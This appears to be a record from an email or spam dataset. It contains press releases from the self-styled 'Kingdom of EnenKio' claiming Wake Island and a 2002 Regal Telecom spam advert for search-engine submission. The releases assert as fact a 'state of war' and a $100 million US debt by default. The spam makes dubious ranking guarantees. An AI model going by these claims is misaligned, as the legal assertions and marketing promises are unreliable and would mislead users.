state among nations. The Kingdom does not pretend to be (quoting from the report) ""asserting authority over land ...within the geographical and political boundaries..."" of the RMI. We are however striving to expel the armed imperialistic invasion forces of the United States from the shores of Eneen-Kio Atoll so natural Marshallese supremacy can be re-establish there. As to allegations of fraud and constitutional violation, no one has dared to come forward with any such a charge. We say, let the issue be played out in the People's venue for the record, not in a libelous weekly publication. While we do not wear our brief history on our shirtsleeves, our raison d'=C3=AAtre is clearly mandated in the Preamble to the Constitution of EnenKio, which can be seen at our web site: http://www.enenkio.wakeisland.org Referencing the news article in the Marshall Islands Journal entitled ""Kingdom of EnenKio sets up in New Zealand,"" of May 1st, the editor was advised, contrary to his report, that neither passports nor driver licenses can be purchased from the Kingdom's web site. The Kingdom of EnenKio DOES NOT SELL PASSPORTS! If you have evidence to the contrary, our Foreign Ministry would appreciate your furnishing it to them so steps can be taken immediately to investigate the matter. You are advised if anyone sells or offers to sell an EnenKio passport, that such an act is patently illegal. The published statement, ""The group ...claims to represent Iroijlaplap Murjel Hermios and the atolls of the Ratak chain..."", is wholly false. I have explained this matter to the editor on several prior occasions and ample information is available at our Internet site to refute the statement. The Kingdom does not represent any area outside of its territorial boundaries, as the Ratak atolls surely are. Contrary to their libelous statements, the Kingdom of EnenKio was not ""created"" by Robert Moore and he is not a ""Honolulu-based attorney."" HM King Murjel Hermios is the acknowledged hereditary Iroijlaplap of the northern Ratak atolls and is also First Monarch of the Kingdom, not of his own choice, but by a legal process and free choice of our citizens who participated in the founding of the nation in 1994. Such a noble and peaceful beginning is not too uncommon in world history. ""Enenkio"" [sic] (actually Enen-kio or Eneen-Kio, in reference to the atoll itself) is the first Marshallese name for a Marshallese atoll located roughly 300 miles north of Bok-ak (Taongi) Atoll. ""Wake"" is a fictitious moniker applied to the re-discovered Eneen-Kio Atoll by unknown western society writers. SKIP TO NEXT FILE =A0TOP OF PAGE May 4, 1997: News Release Subject: Issuance of Gold Stamps The government of the Kingdom of EnenKio proudly announces commissioning of its Inaugural Issue of Gold Stamps. This announcement, made at the First Sunday Hawaii Stamp, Coin and Postcard Show May 4th, was the first pre-publication public notice of the issuance of Gold Stamps by the Kingdom. Stamps are expected to be off the presses by early June 1997. First day covers with new stamps affixed and postmarked official ""First Day of Issue"" by the Kingdom will be available for a limited time following the dates of release. Distributors, dealers and collectors are encouraged sign up as a charter member of the EnenKio Philatelic Mint mailing list. BACKGROUND - The Kingdom was established in March 1993, and the government was chosen by the people, who then ratified the constitution in September 1994. However, due to U.S. military activities on the island and the presence of armed occupation forces, the government of the Kingdom lingers in ""exile"". Several nations have extended recognition of the sovereignty of the Kingdom, documents of citizenship are being issued and legations are located in Europe, South America, USA and elsewhere. A NATION IN CONFLICT - The land in question, commonly known as Wake Island, is actually an atoll comprised of three small islands assigned names of westerners who visited them: Wake, Wilkes and Peale. Few people in the world today are aware that the native discoverers who named the atoll Eneen-Kio lived in the Marshall Islands, exercised constant jurisdiction and made regular use of it as a living food pantry and cultural site. By way of developing the atoll as a nation, the government is asserting that it is the indisputable holder of allodial title to ""Wake"" atoll and has the right to exercise its sovereignty at the will of the people. The United States of America began in a similar fashion not with a peaceful transition from colonial status. Lawful return of the land is grounded upon the legal precedent set by Congressional apology to Hawaiians for the 1893 overthrow of the Monarchy. ""STATE OF WAR"" - By way of an official March 1997 Declaration sent to top U.S. officials, the Kingdom of EnenKio has acknowledged that a virtual ""state of war"" now exists over the islands on account of the blatant acts of aggression and illegal armed invasions by troops from United States warships. The primary objective of the notice was to request a Congressional investigation into actual events and related factors surrounding the federal seizure of islands in the North Pacific Ocean by the United States. Calls to end U.S. operations, vacate the atoll and negotiate return of the islands to jurisdiction of the Kingdom have fallen on deaf ears. Despite repeated notices, letters and legal advertising, all major news media have consistently ignored the events and failed in their duty bring forth the truth to the people of the world regarding alleged incidents of piracy, waste and human rights violations by federal agents of the United States government. INAUGURAL ISSUE - The Gold Stamps are based on events of the past and dreams for the future of peace in the global community as the millennium nears. For that reason, the universal gold standard was chosen as the basis for evaluation. Since the relative value of gold in world markets varies according to the value and stability of national currency units, the stamps will similarly reflect changes in price when purchased with any particular currency. However, the real or intrinsic value of the stamps will remain as constant as gold. The extrinsic value will be determined by philatelic collectors around the world. Note: Stamps are printed on paper stock, do not contain gold metal and are not intended for use as money. CLOSING COMMENTS - The government of the Kingdom appeals to all people from every peaceable nation in the world to recognize the Kingdom of EnenKio as a sovereign nation promoting peace in the Pacific region. In doing so, it seeks a peaceful resolution o f the ""state of war"" with the federal government of the United States and asks that everyone with human rights concerns use their influence accordingly. The proceeds from the sale of Gold Stamps will help fund the restoration of the Kingdom and end the conflict in peace. SKIP TO NEXT FILE =A0TOP OF PAGE March 31, 1997: News Release An official document entitled A Declaration, was sent March 22 to top Executive and Legislative officials in the federal government of the United States, including selected Cabinet members. The document asserts that: ""A STATE OF WAR EXISTS OVER THE KINGDOM OF ENENKIO ATOLL BY WAY OF ACTS BY THE FEDERAL GOVERNMENT OF THE UNITED STATES."" This is the most recent attempt to captivate the attention of the federal government. One of the primary objectives of this action is to bring about a Congressional investigation into the true events and factors surrounding the illegal seizure of islands in the North Pacific Ocean by the United States. This latest position statement is one in a succession of dozens of disclosures, statements, letters and legal actions taken since the government of the Kingdom was established in March 1993, each with similar objectives. Calls for the U.S. to cease operations, vacate the premises, negotiate return of the island to the King, apologize and compensate him for use, abuse and illegal hold-over following legal action have all failed to receive cognizance or reply from the federal government. Likewise, despite repeated notices, letters and legal announcements, major news media have consistently ignored the events and failed in their duty bring forth the truth to the people of the world regarding the alleged piracy, arrogance and human rights violations by the United States. The land in question, commonly called Wake Island, is comprised of three small islands, Wake, Wilkes and Peale, named by ""Western explorers"" for Western persons. What of the native discoverers? The crux of the issue is that despite the passage of ownership via a complex Matriarchal land tenure system for over two millennia with jurisdiction by the aboriginal chiefs of the Northern Ratak atolls of Marshall Islands, the United States seems to believe it is justified in having seized the atoll in 1898, and again in1899. Historical records reveal that the multiple landings by United States warships, en route to the Philippines on war missions, and subsequent Congressional action, were the sole basis of the U.S. claim. The motivation was said to be for the establishment of a cable station to improve communications with its marauding troops in the East. Such a station was never established at Wake Island. It was destined to become a military installation. However, formal protests of the seizure was sent to the U.S. President by the German Consul in the Marshall Islands and some measure of correspondence followed. But since the U.S. abandoned the area without establishing a colony or cable station and Germany was defeated in the first World War, the objections fell into oblivion. It is understood from written accounts of oral Marshallese culture and traditions, that jurisdiction and use of the atoll by natives continued. The U.S. did not establish a settlement there until, under a lease in 1934, the CAA (predecessor of the FAA) allowed Pan American Airways to build a base for its fleet of trans-pacific seaplanes. Clearly, the so-called annexation by the U.S. is grossly flawed, the occupation patently illegal and its ""ownership"" is held therefore to be wholly invalid. When the U.S. Congress apologized for the overthrow of the Hawaiian Monarchy in 1993 and the U.S. Navy subsequently returned culturally significant land to the ""natives"" of Hawaii, a landmark legal precedent was thus set for comparable action with respect to the return of Wake Island. The islands of Eneen-Kio, as the northernmost atoll in the Ratak chain, played a very significant role in the culture and religion of Micronesians living in the more ""hospitable"" islands of the Marshall group. While not being used for Navy target practice as Kaho'olawe was, the use of the islands of Eneen-Kio Atoll and the military mission at Wake Airfield are decidedly without substantial merit and whereby activities take place in secrecy, devoid of scrutiny, oversight or quintessential knowledge by the American public. Even after cultural intervention in the mid 1800s by Christian Missionaries, natives continued to use Eneen-Kio, authority to go there being issued by the Ratak Iroijlaplap (Paramount Chief). King Murjel Hermios holds that title today. By way of developing the atoll in sovereignty as a nation, the government is thereby indisputable holder of the allodial title to Wake Island. The U.S. cannot produce a title. The Hermios ancestral lineage, passage of title through the ages from aboriginal inhabitants and discoverers, who gave the atoll its Marshallese name, their continual use and legacy of jurisdiction secures the rights of ownership. Upon the basis of events and actions by the United States, the administration of the Kingdom of EnenKio, by virtue of the Declaration, ""yields to the recognition that a State of War"" exists over the island nation. This is not, however, to be viewed as a waiver of rights or unconditional surrender. Sovereignty and independence of the Kingdom, over all other claims, is forthrightly reasserted. The belief is that truth and law is on the side of the Kingdom and that reckless abuse of power and a trail of human rights violations are chronicled upon the record of U.S. ""ownership"" and occupation. Native North Americans are all too well acquainted with this brand of federal brutality when it comes to seizure of land and denial of rights. In the Declaration, demands are made as follows: =C2=BB =C2=BB ""...to come to the table of peace to negotiate an honorable accord for the survivors of the said STATE OF WAR..."". =C2=BB =C2=BB ""If unwilling to voluntarily negotiate for peace, to submit to Impartial international arbitration of the terms for surrender and WAR reparations to citizens."" =C2=BB =C2=BB ""...to cease and desist, effective immediately, all and every action of every kind in or on EnenKio Atoll or within the 200-mile Exclusive Economic Zone..."" =C2=BB =C2=BB ""...to pay that certain debt, perfected and established in commerce by failure the Department of the Interior =C2=BB =C2=BB ""...to lawfully respond to proper legal notices of more than TWENTY-SEVEN consecutive months and most recently referenced by a Certified Invoice, No. 97-US-03, dated March 10, 1997, for which it is obligated to pay."" =C2=BB =C2=BB That the ""...Congress of the United States is obliged to immediately impanel an impartial body for the purpose of investigating the atrocities committed in the case of the violations of human rights and due process..."". The government of the Kingdom solicits every other sovereign peaceable nation in the world to give effective and adequate recognition to the Kingdom of EnenKio Atoll as an Independent Nation under God. It seeks a peaceful resolution of the state of war with the federal government of the United States and asks them to use their influence accordingly. Appeals are being made to the United Nations. News Article SKIP TO NEXT FILE =A0TOP OF PAGE February 6, 1995: News Release On behalf of His Majesty, King Murjel Hermios, Monarch of EnenKio Atoll, titular head of State, Paramount Chief (Iroijlaplap) of the northern atolls of the Ratak archipelago of Pacific Ocean Islands of the Marshall Islands, I bid you a warm Marshallese greeting -- Yokwe! The purpose of this notice is twofold: First, to admonish those of you to whom word of the referenced issues were made known, then failed to take action; Second, to encourage you to whom this presents to take appropriate action in disseminating reports on this issue. As long as you remain quiet, safely removed from the potential controversy insidiously lurking beneath the surface of one issue about which the federal government of the United States remains resolutely silent, your anonymity and that of your publication is well served. Summary of Events 1993-94: Two official press releases have been made regarding the establishment of a new island nation in the Pacific Ocean, EnenKio, formerly known as Wake Island. The first was issued on February 25, 1994. It followed two announcements: 1) officials of the US Air Force at Hickam AFB, Hawaii said in articles published New Year's Eve and Day in both Honolulu newspapers that the USAF no longer wanted to maintain Wake Island airfield and wanted to turn it over to Interior Department or another military organization by 1 February and abandon it by 1 October, 1994; 2) US Army Space and Strategic Defense Command of Huntsville, Alabama issued an Environmental Impact Assessment for a proposed missile launch program out of Wake Island; part of the ""star wars"" program, I am led to believe. An emergency meeting of the leaders of the future nation of EnenKio was held and it was decided that earlier efforts to bring the atoll under the jurisdiction of Hawaii would be abandoned in favor of affirmation of independence, thus seeking self-rule under the natural landowner as king. Letters to Mr. Clinton, members of Congress, U.S. Army and the first press release proclaimed the status of ownership of EnenKio (Wake I., Peale I., Wilkes I.), denounced the Army's so-called ""no significant impact"" scheme to fire more than 800 rockets of an undisclosed nature into and over the waters of the Marshall Islands (including its sanctuaries for turtles and birds) and asserted rightful ownership claims. On March 21, 1994, a formal resolution was executed establishing the nation of EnenKio as an independent nation under the authority of His Majesty Murjel Hermios, who had granted special power of attorney to Mr. Robert Moore, appointed Minister Plenipotentiary. The Constitution, Succession Act and other documents were thereafter drafted. On September 30th, a formal Declaration of Sovereignty was signed into law by Ministers and selected delegate citizens, believing (as did the USA founding fathers) that such power was an inherent right of the people. It declared the Kingdom of EnenKio a sovereign independent peaceful nation, it acknowledged His Majesty, King Murjel Hermios as owner in allodium of the atoll, accepted him as Head of State and embraced the Constitution as the founding document for a form of democratic government. Documents and letters were sent to numerous nations of the world proclaiming the above actions. Formal documents of recognition were presented, offer of diplomatic ties made and support for reciprocation requested. Copies of pertinent documents were forwarded to the United Nations, UN Security Council, NATO, South Pacific Commission and others. Letters of personal appeal were sent to UN leaders. A special request for protection and assistance was sent to the UN Security Council. On October 10th, a commercial affidavit and demand for payment was sent via certified mail to federal officers of the United States regarding the illegal January 17, 1899 seizure, under force of arms, of the islands of Eneen-Kio Atoll, the adverse occupation and continued disregard of international Human rights law, UN Charter terms and terms of the Compact of Free Association with the Republic of the Marshall Islands (Public Law 99-239; January 14, 1986). Having acknowledged receipt and failing to respond within a reasonable time, the U.S. is now in default under commercial law, owing in excess of US$100 million. The second official press release was issued on November 21, 1994, relating the preceding events. Of all the agencies to whom it was sent, only two, the Marshall Islands Journal, a weekly newspaper and Islands Business Pacific magazine are known to have mentioned the story, then only briefly. Request for Media Response: The thirst of the media for copy on topics outside of natural calamities, treed cats and daily courtroom chronicles of violence and deception seems seriously lacking. Is not the peaceful beginning of a new nation news any more? Is not the restoration of native rights of an aboriginal society whose roots reach into antiquity (to before the birth of Jesus) worth a little journalistic investigation? How about suspicions of insidious military-sanctioned activity which threatens the security and peaceful existence of nations of the Pacific in the name of ""world leadership""? Or is it world domination? People of EnenKio have a few simple requests of you, the media, in an effort to draw international attention to this issue and thereby, hopefully shorten the delay in regaining active occupation of islands of their ancestral heritage: 1. Investigate and verify the circumstances of the illegal armed invasion supported by U.S. expansionism and subsequent improper annexation of the sacred islands of Eneen-Kio Atoll, then being utilized by sailors, hunters and chiefs of the Marshallese civilization and for at least 2000 years prior to the 1899 fiasco. (Note: These facts and validity of the Hermios claim are a matter of historical record, not a fabrication.) 2. Investigate and/or verify the circumstances of any evidence of specific beneficial use and U.S. policy, past and present, or the lack thereof, with regard to the role of EnenKio . (Note: It is my understanding Wake was ""decommissioned"" after the so-called ""processing"" of thousands of South Vietnamese refugees in the late 1970s). 3. Reflect on the contrasting history of U.S. occupation, war, technological advances, in light of modern attitudes about misdeeds against native peoples and the willingness of our people to develop serious national economic programs for the benefit of all mankind. 4. Respectfully and conscientiously broadcast the credibility of the king's claim of allodial title, the declaration of rights of the citizens of EnenKio to self-determination and the commitment by their government and leaders to promulgate their mandates in a responsible and fiscal manner. 5. Bring to light U.S. strategy with regard to the implementation of questionable and costly pet programs involving nuclear proliferation, offensive/defensive weapon systems, clandestine military research, environmental pollution and whatever else is going on there. (Note: Congress and certain federal agencies have promoted use of Wake Island and environs as platform for launching and testing hundreds of rockets and missiles, a federal prison for drug offenders and other less publicized projects.) 6. Fully disclose to the people of the United States U.S. strategy with regard to the denial of possession of lawful title to Eneen-Kio Atoll by King Hermios as a consequence of natural inheritance via time-honored and respected Marshallese matriarchal traditions, disregard for Human rights protected under international law, United Nations Charter and conventions and the U.S. Compact with the Marshall Islands and refusal to acknowledge liability for acts of piracy on the high seas of military and colonial expansionism of the nineteenth century. (Note: U.S. apology for the illegal armed overthrow of the Hawaiian Monarchy the prior year and the return of the Hawaiian island, Kaho'olawe, also of religious significance, has set precedents for the action demanded by EnenKio citizens.) Parting Shot: What truly concerns me is the cavalier attitude of government in general, the U.S. federal government more precisely, which somehow behaves as if endowed by a divinely inspired alchemy that conveys the right to rearrange lands, cultures and economics with out the slightest inclination to counsel with those people most concerned. Such an approach might be expected in some dictatorship in some distant corner of the globe, but considering its present source, it is downright alarming. It is worthwhile to mention here that despite a prominent trail left over the course of more than two years, letters, reports, forms, published articles, press releases, legal notices, documents and virtually every action initiated by those representing King Hermios have escaped official response from officers of the U.S. federal government. Our not-too-distant past is replete with examples of the insatiable thirst of western ""civilized"" nations for doctrines faithful to the cry of ""manifest destiny"" which clearly marked American foreign policy of a century ago. If this current trend signifies a resurgence, it can only be considered a giant leap backward, considering the flimsy record of American attempts at ""fixing up the world"". The title of ownership and inheritance of Eneen-Kio Atoll pre-dates formation of the United States by two centuries or more. It is time the significance of native cultures and recognition of their right to self-determination is elevated from matters of scientific discourse to mainstream political involvement in determining the future course of human endeavor. People have a right to know; the media a responsibility to show them. In conclusion, I reiterate that our focus, from my point of view, is one, not so much of opposition to the ominous might of U.S. political philosophy and military prowess, but of asserting the moral imperatives for correcting errors of the past, supporting restoration of Human cultural dignity and the unobstructed observance of God-given individual rights. Thank you for your support and cooperation in helping end the siege and forced exile of our proud citizenry. TOP OF PAGE November 21, 1994: News Release In a bid to regain occupation of that portion of his ancestral lands which include Wake Island, site of a U.S. military outpost, His Majesty, King Murjel Hermios, through his legal representative, Minister Plenipotentiary, Robert Moore, the U.S. has been given the boot out of Wake Island. Moore served legal notice on top U.S. government officials in October 1994 to cease all activity and leave the islands. The filing came on the heels of a five-year struggle to gain recognition of the illegal seizure of islands (owned by predecessors of King Hermios) by the gun boat, USS Bennington in 1899. The legal document, a Commercial Affidavit, Declaration of Fair Value and Demand for Payment, was served under recognized principles of Common Law and International Commercial Codes. It details the specifics of King Hermios' ancestral rights to Wake Island, the illegality of the U.S. claim and violations of native laws, International Agreements and human rights during their 95-year hold on the Hermios property. It also establishes default, recognized under law, by reason of failure to answer the sworn claims, thereby allowing the Hermios claim to stand valid before the law as unchallenged. Under those claims, demand was made for payment of 94.7 million dollars for past use of the land. Continued use and holdover of the atoll will add 5 million dollars per month through 1995. While putting forth the appearance of advocating human rights, U.S. officials continue to ignore issues right in their own backyard which keep King Hermios and the citizens of EnenKio living in compulsory exile. Eneen-Kio Atoll, a name derived from Marshallese traditions involving a small orange (kio) flower found there, is made up of 3 islands, including Wake. Predecessors in interest of King Hermios, aboriginal chiefs and islanders sailed native canoes to Eneen-Kio Atoll for religious and cultural purposes as much as 500 years BC. During the colonial invasion of Pacific islands, western traders and explorers consistently ignored the native traditions and rights of the real discoverers of those fragile and isolated bits of sand, the islanders themselves. A case in point is in that of the Hawaiians, who recently gained an apology from the U.S. Congress and President Bill Clinton for the illegal U.S. government overthrow of the Hawaiian Monarchy. King Hermios is presently acknowledged as the hereditary Paramount Chief (Iroijlaplap) of all the Northern Atolls of the Ratak Archipelago of the Marshall Islands, which terminates to the north, beyond Eneen-Kio Atoll. Mr. Moore has full authority to act on the King's behalf to rid the islands of their illegal and unwanted Occupation Forces in favor of restoring the King's assertion of his native allodial rights. Most recently occupying and holding the islands are agents of the U.S. Air Force command, 15th Logistics Group, Hickam AFB, Hawaii. Nearly identical articles published in the Star Bulletin and Honolulu Advertiser on December 31, 1993 and January 1, 1994 headlined: ""Air Force willing to give up its hold on Wake Island"" and stated: ""Not much activity there anymore, so the Air Force wants to give up control"". According to some theories thought to have reliable foundation, private entities or other government agencies are fighting for control behind a stonewall of apathy, denial and contempt for traditional ancestral heritage of King Hermios, his predecessors and people. Mr. Moore is also charged with the responsibility of bringing the nation under active jurisdiction of its own independent government, to initiate and administer to its citizens, promote economic development and to direct all affairs of State. The democratic government is established as a limited constitutional monarchy and is being directed by its Executive Council. Since 1987, despite repeated efforts to resolve the conflict and the effects of a stroke, Mr. Moore has been unsuccessful in getting any substantive reply from officers of the United States, military officers and members of Congress. The following is a summary of some of the recent letters, inquiries and statements of claims made on behalf of the lawful and rightful landowner, King Murjel Hermios: =C2=BB =C2=BB Formal letters to President Clinton and Vice-President Al Gore in February 1993, requesting consideration under programs promised in their campaign for economic conversion of old military bases were ignored. As a military base, Wake Airfield was ""decommissioned"" more than a decade ago. =C2=BB =C2=BB In response to the Environmental Assessment of the proposed Theater Missile Defense Rocket Launch Activities, formal letters of protest sent to the Pentagon and U.S. Army officials, who contemplated launching hundreds of missiles from Wake Island over several years into the waters of the Marshall Islands, went unanswered. =C2=BB =C2=BB Letters to members of the U.S. Congress protesting rocket launch activities and requesting help went unanswered. =C2=BB =C2=BB A Resolution dated March 21, 1994 was signed which declared the status of EnenKio to be that of an independent nation under the administrative jurisdiction of King Murjel Hermios. It was likewise ignored. After waiting for more than 580 days since ""formal"" notification of the declared status of EnenKio and having heard no objection from the United States, Mr. Moore assembled the Ministers of the Executive Council. They, along with a few involved citizens living in exile and denied access to Eneen-Kio, formally passed and signed the Declaration of Sovereignty on September 30, 1994. They also accepted the draft of the Constitution which establishes the democratic principles of government recognizing His Majesty, King Murjel Hermios as Head of State and his family as the First Royal Family of EnenKio . While the King and his people bear no ill will against the multitudes of foreign invaders of Eneen-Kio Atoll, which over the centuries included agents of the Emperor of Japan, the Emperor of Germany, and the King of Spain, they believe the time has come to acknowledge the errors of the past, correct the conditions thereby produced and move on into the future in support of the sacred principals of Truth, Honor and Peace. Those principals are embodied in the Constitutions of EnenKio and of the United States. Those tenets were likewise embodied, affirmed and ratified by the U.S. Congress in Public Law 99-239 (Jan. 14, 1986), signed by President Ronald Reagan as the Compact of Free Association with the Marshall Islands and Federated States of Micronesia. The compact acknowledges superiority of all Marshallese ""natural"" rights, including those of ownership and use of land. Still mindful of the terrible threat of extraordinary U.S. military might and the willingness to use it against even the smallest of nations (e.g. Grenada, Haiti, Cuba, Hawaii, etc., etc.), Mr. Moore, other Ministers and the citizens of EnenKio are determined to peacefully displace the U.S. Occupation Forces and reassert the jurisdiction of His Majesty, King Murjel Hermios. Filing the Commercial Affidavit document was the first major legal step in a series of actions that could end up in International Court of Justice in The Hague, Netherlands. In an effort to garner support for the repatriation of her citizens, the restoration of democratic control of EnenKio and to gain international recognition of the innumerable native rights violations against the Sovereign and his forebears, the Ministers of EnenKio have sent documents of Notice and request for assistance to the United Nations Security Council, the South Pacific Commission, similar organizations and to the governments of most other nations of the world. It is hoped that mutual recognition of sovereignty and the establishment of diplomatic ties will invite the willful withdrawal of U.S. troops and relinquishment of their unfounded territorial claims. At the same time, Mr. Moore, in the service of His Majesty, King Murjel Hermios, wishes to inform all of the people being held at Wake Island by force of arms or by contract, that asylum will be offered to them. A similar offer is made to all Marshallese descendants who desire to become citizens of EnenKio. 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http://www.crawler.deDINO-Online http://dino-online.de Excite Deutschland http://www.excite.deFireball Express http://www.fireball.de Flix http://www.flix.de Hit-Net http://hit-net.deHotlist http://www.hotlist.de Inter-Fux http://www.inter-fux.com Intersearchhttp://www.de.intersearch.net Suchen http://www.suchen.de Lotse  http://www.lotse.de Lycos http://www.lycos.de Nathan http://www.nathan.deWeb-Archiv http://www.web-archiv.de WEB.DE http://web.de Deutschland Greece goGREECE http://www.gogreece.com Webindex Greece http://www.webindex.gr Spain ELCANO http://www.elcano.com   Trovator http://trovator.combios.es LATIN  AMERICA Argentina DNA Index http://www.iwcc.com Fiera http://www.fiera.comGauchoNet http://www.gauchonet.com Bolivia Bolivia Web http://www.boliviaweb.comChile Chile Business Directory http://www.chilnet.cl Colombia Indexcol http://www.indexcol.com Que Hubo (The  Colombian Yellow  Pages http://www.quehubo.com Costa Rica Info Costa Rica http://www.info.co.cr MexicoMexico Web Guide http://www.mexico.web.com.mx SBEL http://rtn.net.mx/sbelYUPI http://www.yupi.com Venezuela Auyantepui http://www.auyantepuy.comVenezuela Online http://www.venezuelaonline.com Yuada http://www.yuada.com.veNORTH  AMERICA Canada infoProbe http://www.infoprobe.net Maple Squarehttp://maplesquare.com Sympatico Hungary Heureka http://www.heureka.hungary.comItaly Ragno Italiano http://ragno.plugit.net Search in Italy http://www2.crs4.it:8080ShinySeek http://www.shinyseek.it Netherlands de Internet Gids http://www.markt.nlIlse http://www.ilse.nl Search.NL http://www.search.nl  SURFnet http://www.nic.surfnet.nlNorway Eunet Norge http://www.eunet.no Nettvik http://nettvik.no ORIGOhttp://www.origo.no SOL Kvasir http://kvasir.sol.no SlovakiaKIO http://www.kio.sk Slovenia Slovenia Resources http://www.ijs.si/slo/resourcesSweden Excite Sverige http://se.excite.com Lycos Sverigehttp://www.lycos.se Switzerland HEUREKA http://www.heureka.ch Netguidehttp://www.netguide.ch Schweizer Home-page  Directory http://swisspage.chSwisscom http://www.swisscom.ch Swiss FirmIndex Online http://www.firmindex.chSwiss Web http://www.web.ch The Blue Window http://www.bluewin.ch Webdohttp://www.webdo.ch Turkey Dost Net Turish Web  Sites Directory http://www.dost.netYugoslavia Yu Search http://www.yusearch.com MIDDLE  EAST Isreal Maven http://www.maven.co.il Sivuv http://www.sivuv.co.il Start http://www.start.co.ilWALLA http://www.walla.co.il AFRICA Regional Africa Online http://www.africaonline.comWoYaa!m http://www.woyaa.com South Africa Ananzi http://pub01.ananzi.co.za South Africa Online http://www.southafrica.co.za ASIA PACIFIC Regional Asia Internet Plaza  http://www.asia-info.com AsianNet http://www.asiannet.com Asia Online http://www.asiadragons.com Asiavillehttp://www.asiaville.com GlobePage http://www.globepage.com SEA Quest http://seaquest.kusza.edu.my Search Dragon http://www.searchdragon.comSouth Asian Milan http://www.samilan.com Australia AAA Matilda http://www.aaa.com.auAlta Vista http://altavista.yellowpages.com.au Australia/New  Zealand Anzwershttp://www.anzwers.com.au Australia Aussie.com.au http://www.aussie.com.auThe Australian Internet  Directory http://203.17.138.111/taid The Australian Yellow Pages http://www.yellowpages.com.au LookSmart http://www.looksmart.com.auAustralian Internet  Directories http://www.sofcom.com/directoriesSearch Australia http://www.cowleys.com.au Telstra http://www.telstra.com.auWeb Wombat http://www.webwombat.com.au Hong Kong Hong Kong Internet  Directoryhttp://www.internet-directory.com Hong KongWorld Wide Web Database http://mmlab.csc.cuhk.edu.hkn Timway Hong Kong  Search Enginehttp://www.hksrch.com/searchengine.html India 123India http://www.123india.comKhoj http://www.khoj.com Indonesia IndonesiaNet http://www.indonesianet.com/search.htmJapan Dragon Next http://dragon.co.jp Hole-in-One (Excite  Japan) http://hole-in-one.com/hio InfoNavigator http://infonavi.infoweb.or.jp Mondou http://zagato.kuamp.kyoto-u.ac.jp Orions http://www.orions.ad.jp Stellar http://www.stellar.co.jp Watchhttp://www.watch.impress.co.jp Korea Oomph! http://www.oomph.net Malaysia   Informative Malaysia http://www.infomal.com.my Malaysia Search Engine http://www.cari.com.myNew Zealand Access New Zealand http://accessnz.co.nz Search http://www.searchnz.co.nzSingapore Singapore Unified  Internet Directory http://edge.com.sgSurfer's Edgehttp://surferes.edge.com.sg And Many More! regaltelecom@regal.com ------_NextPart_6193500912--",1,1 """Important Message!"" ","""Jm"" ","Fri, 26 Jul 2002 06:10:34 +0200",Your Shop web site is NOT being SEEN!,"This is a multi-part message in MIME format. ------_NextPart_1622483731 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: QUOTED-PRINTABLE Your Shop Web Site is NOT Being SEEN WHY? NO ONE CAN FIND IT! YOUR web site is NOT on many search engines and at the Bottom of their listings and as a result YOU are LOSING customers who cannot find you! Can this be changed? YES! Regal Telecom For ONLY =A379.97 We will submit your web site to over 350 of the worlds search engines. (see full list of Search Engines at the end of this document) We will submit your site with the most effective meta tags and keywords. (See our money back guarantee) We know what the search engines are looking for. How do we know? We look at the top five web sites in your category and use the same meta tags and key words that they use. If it works for them it will work for you! So YOUR web site can be FOUND and SEEN For Twelve Months! Guaranteed! (See our testimonials) Think about it! Just as you have a web designer to build your site and a company to host your site,does it not make sense to use a company that specializes in professionally submitting your web site. Getting your web site FOUND and SEEN! A Shocking Fact! Your web site designer and your host are NOT responsible for getting your web site seen! Yes, they may submit your site to a few search engines periodically but to stay on the TOP of the search engines is an aggressive business. Getting onto the search engines and at the top of their listings doesn't just happen. You have to be put there! What the.Net, The Internet Magazine 8/2000 said: ""You have your web site designed and have sorted out the maintenance and waiting for the business to roll in, but there's one small problem.... No one knows!"" You need a professional company to do it! Your Money Back Guarantee! If you do not receive confirmation from the search engines that we submit your web site to, we will give you your money back! Guaranteed! There is nothing to lose! Some testimonials of those that have used Regal Telecom ""This service is my secret weapon. I never believed it was possible to have such a rapid response."" etvcom.tv ""I have been truly amazed by the results. I have received enquires from Austria, Hawaii, Spain and many different parts of Britain for my international real estate business. This is directly due to this service. I definitely recommend it! Worth every penny!"" keyhomes.net ""We run a Cancer Clinic and it is essential that our web site is submitted to as many search engines as possible. We are looking forward to having the capability to do online video conferencing and online diagnosis with our patients from many parts of the world. It is a real advantage to have the capabilities that Regal Telecom offers."" Mari Posas Cancer Clinic. ""We never received a single inquiry until we used Regal Telecom"" noniuk.co.uk To submit your web site all we need is your web site and e-mail address. We will do the rest! Once we have submitted your web site you will receive a dramatic response by e-mail from search engines around the world confirming that you are listed on them. This will happen every month for the next year! To Book our Service Simply PRESS this BOOK NOW! Button and we can begin submitting your web site to the worlds search engines today! Then be ready for the response! Within 24 hours your web site will begin to be submitted to over 350 search engines world wide and every month thereafter for the next year. The results will astound you! Most of your competition are unaware of the facts below! This is to YOUR Advantage! Web Site Facts Remember ""The Yellow Pages"" Rule! A search engine is like an enormous ""yellow pages"" with thousands of companies advertising the same product. Unless you are near the front of the listing your chances of a customer actually seeing you is remote. Unlike a literal yellow pages there is a way to move YOU to the front and also get you on all of the ""Yellow pages"" in the world. What does it take to be seen on the Search Engines? Appreciate the Three Golden Rules q Search engines do not pull up the web sites at random they use a specific method of search. Those that know them are the ones at the top, those that do not are buried at the bottom! q Your web site must be submitted to the search engines every month otherwise your site gets pushed off (Its a bit like a Ferris wheel, you get on and then after a while you are taken off unless you get another ticket and get back on). q Understand the importance of Keywords, Meta tags, and Titles employed when submitting your site to the search engines! Use the right ones and you go up. Get it wrong and you go to the bottom! Some feel that it is enough to be on the large search engines. Wrong! The problem is because of their sheer size most web sites get buried. Having your web site professionally submitted can boost you up the listings of these larger search engines, so you can be found on them. Also many people use the smaller search engines and if your site is professionally submitted your chances of getting to the top are greatly increased. It is essential to be on them! Having Regal Telecom expertly submit your web site every month to worlds search engines will give YOU the Advantage you need. This can make the difference between new customers FINDING your web site or NOT! Be on ALL of these Search Engines Excite, Altavista, Google, Hotboot, WhatUseek, Lycos, WebCrawler, NorthernLight, DirectHit, AlltheWeb, Pepesearch, Searchit, http://search.yell.co.uk UK Directory http://www.yell.co.uk/yell/web/index.html http://www.ukdirectory.com UK Plus http://www.ukplus.co.uk UK Web TheBrit Index Media UK The UK Web Library http://www.scit.wlv.ac.uk UK Yellow Web Whatsnew http://www.whatsnew.com/uk http://yacc.co.uk/britind Demon Site of Sites http://www.brains.demon.co.ukm http://www.mediauk.com/directory LookSmart http://www.looksmart.co.ukUK Cybersearch http://www.cybersearch.co.uk UK/Ireland UK & Ireland http://www.altavista.telia.com Austria Austrian Internet Directory http://www.aid.co.at Intersearch 